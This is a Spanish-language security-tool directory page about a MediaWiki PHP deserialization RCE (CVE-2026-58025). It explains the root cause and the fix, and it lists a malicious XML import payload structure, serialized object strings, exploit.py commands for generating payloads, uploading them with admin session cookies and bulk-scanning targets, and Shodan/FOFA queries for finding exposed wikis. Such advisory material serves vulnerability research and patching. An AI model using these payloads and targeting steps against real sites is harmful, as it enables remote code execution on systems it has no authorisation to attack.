Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-58025 — CVE-2026-58025 — RCE por deserialización en MediaWiki mediante importación de entradas de registro. LogEntryBase::extractParams() aplica unserialize() a log_params controlados por el usuario. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0 | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-58025
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubshinthink/cve-2026-58025

CVE-2026-58025

CVE-2026-58025 — RCE por deserialización en MediaWiki mediante importación de entradas de registro. LogEntryBase::extractParams() aplica unserialize() a log_params controlados por el usuario. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0

Ver Repositorio
4146hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-58025 — RCE por deserialización de PHP en MediaWiki mediante la importación de entradas de registro

WikiImporter → LogEntryBase::extractParams() → unserialize() de log_params controlados por el usuario → RCE


Resumen

CVE-2026-58025 es una vulnerabilidad crítica (CVSS 9.8) de deserialización de datos no confiables en MediaWiki (Wikimedia Foundation). El método LogEntryBase::extractParams() llamaba a sobre los parámetros de entradas de registro controlados por el usuario sin restringir qué clases de PHP podían instanciarse. Un atacante con el permiso o (por defecto: grupo ) podía crear un archivo de importación XML malicioso que contuviera objetos PHP serializados en los campos , lo que provocaba la instanciación arbitraria de objetos y una posible ejecución remota de código mediante cadenas de gadgets.

unserialize()
importupload
import
sysop
<params>

Versiones afectadas

Rama de versiónVulnerableParcheada
1.43.x< 1.43.91.43.9
1.44.x< 1.44.61.44.6
1.45.x< 1.45.41.45.4
1.46.x< 1.46.01.46.0

Requisitos: El permiso import o importupload (por defecto: grupo sysop). El atacante debe poder subir o importar un archivo XML a Special:Import de MediaWiki.


Mecanismo de la vulnerabilidad

Causa raíz

LogEntryBase::extractParams() en includes/Logging/LogEntryBase.php llamaba a unserialize() directamente sobre el blob log_params sin ninguna restricción de clases:

root@kitploit:~
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
    return unserialize( $blob );  // ← user-controlled, no allowed_classes restriction
}

Este método se llama desde múltiples ubicaciones:

ArchivoLíneaContexto
includes/Logging/DatabaseLogEntry.php187getParameters() — leyendo entradas de registro desde la BD
includes/RecentChanges/RecentChange.php781parseParams() — analizando cambios recientes
includes/Import/WikiRevision.php638importLogItem() — importando entradas de registro desde XML
maintenance/purgeChangedFiles.php182Análisis de registros del script de mantenimiento
tests/phpunit/maintenance/DumpAsserter.php541Auxiliar de pruebas

Vector de ataque

El vector de ataque principal es la importación XML a través de Special:Import:

  1. El atacante (con el permiso import/importupload) crea un archivo de exportación XML malicioso de MediaWiki
  2. El XML contiene un elemento <logitem> con un campo <params> que contiene una carga útil PHP serializada
  3. WikiImporter::processLogItem() → WikiRevision::importLogItem() almacena la entrada de registro
  4. Cuando la entrada de registro se lee más tarde (a través de DatabaseLogEntry::getParameters(), RecentChange::parseParams() o la visualización del registro), LogEntryBase::extractParams() llama a unserialize() sobre el blob controlado por el atacante
  5. Si existe una cadena de gadgets adecuada (a través de extensiones/bibliotecas de proveedor instaladas), esto conduce a RCE

Flujo del ataque

root@kitploit:~
POST /wiki/Special:Import
  Content-Type: multipart/form-data
  action=submit
  xmlimportfile=<malicious.xml>
  source=file
  catname=
  prefix=
  loginComment=

malicious.xml:
  <mediawiki ...>
    <logitem>
      <type>test</type>
      <action>test</action>
      <params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
    </logitem>
  </mediawiki>

→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data

Formato de la carga útil serializada

El campo <params> de la importación XML acepta cadenas PHP serializadas estándar. Una entrada segura (benigna):

root@kitploit:~
a:1:{s:3:"foo";s:3:"bar";}

Una entrada maliciosa que contiene un objeto serializado:

root@kitploit:~
a:1:{s:3:"foo";O:8:"stdClass":0:{}}

Cuando se llama a unserialize() sin la restricción allowed_classes, el objeto se instancia por completo. Con una cadena de gadgets disponible (por ejemplo, de bibliotecas instaladas vía Composer), esto se convierte en RCE.


La corrección

Commit: 60f154d4618063ac4d5832285fc246b8fcd7c72c Autor: Bartosz Dziewoński Fecha: 2026-06-29

La corrección implementa múltiples capas de defensa:

1. unserialize() restringido con allowed_classes

root@kitploit:~
// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
    $attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
    if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
        $allowedClasses = $attribute[$logType];
    } else {
        $allowedClasses = false;  // no classes allowed
    }
    $result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
    if ( $result !== false && !is_array( $result ) ) {
        return false;
    }
    return $result;
}

2. Nueva comprobación containsUnsafeParams()

Detecta instancias de __PHP_Incomplete_Class (objetos que fueron bloqueados por allowed_classes):

root@kitploit:~
public static function containsUnsafeParams( array $params ): bool {
    $result = false;
    $params = [ $params ];
    array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
        if ( $val instanceof \__PHP_Incomplete_Class ) {
            $result = true;
        }
    } );
    return $result;
}

3. Control de importación — WikiImporter::processLogItem()

Nueva comprobación de permiso logentryimport (no concedido a nadie por defecto):

root@kitploit:~
private function processLogItem( $logInfo ) {
    if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
        $this->notice( 'permissionserrorstext-withaction-noreason', ... );
        return false;
    }
    // ...
}

4. WikiRevision::importLogItem() — rechazo de parámetros no seguros

root@kitploit:~
if ( LogEntryBase::containsUnsafeParams(
    LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
    wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
    return false;
}

5. UnsafeLogFormatter — visualización segura de entradas maliciosas existentes

La nueva clase UnsafeLogFormatter reemplaza al formateador normal para las entradas que contienen objetos bloqueados, mostrando un mensaje de marcador de posición en lugar de intentar formatear los datos peligrosos.

6. Corrección relacionada: CVE-2026-58037

La misma investigación (T422244) también identificó que el tipo de parámetro raw de LogFormatter permitía la salida de HTML sin procesar a partir de parámetros de registro controlados por el usuario. Esto se corrigió en un commit complementario cambiando Message::rawParam() por Message::plaintextParam().


PoC

El exploit.py incluido genera un archivo de importación XML malicioso para MediaWiki que contiene objetos PHP serializados en los parámetros de las entradas de registro. También puede tomar la huella digital de instancias de MediaWiki e intentar la importación a través de la API.

root@kitploit:~
# Generate malicious XML payload
python exploit.py --generate --output payload.xml

# Fingerprint target
python exploit.py -u https://target.com --check

# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"

Instalación

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests

Uso

root@kitploit:~
# Generate malicious XML import file
python exploit.py --generate --output payload.xml

# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check

# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"

# Bulk check
python exploit.py -f targets.txt --check -o results.txt

FOFA / Shodan

root@kitploit:~
FOFA:   body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"

Referencias

  • NVD CVE-2026-58025
  • Phabricator T422244
  • Commit de corrección (rama 1.43) — SECURITY: Safely unserialize log entry parameters
  • Corrección relacionada: CVE-2026-58037 — LogFormatter: 'raw' parameter format is no longer raw HTML
  • Notas de la versión 1.43.9 de MediaWiki
  • OSV CVE-2026-58025
  • CWE-502: Deserialización de datos no confiables
  • CWE-94: Control inadecuado de la generación de código

Descargo de responsabilidad

Este exploit se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. No lo utilices contra sistemas sin el permiso explícito del propietario.

Descargar herramienta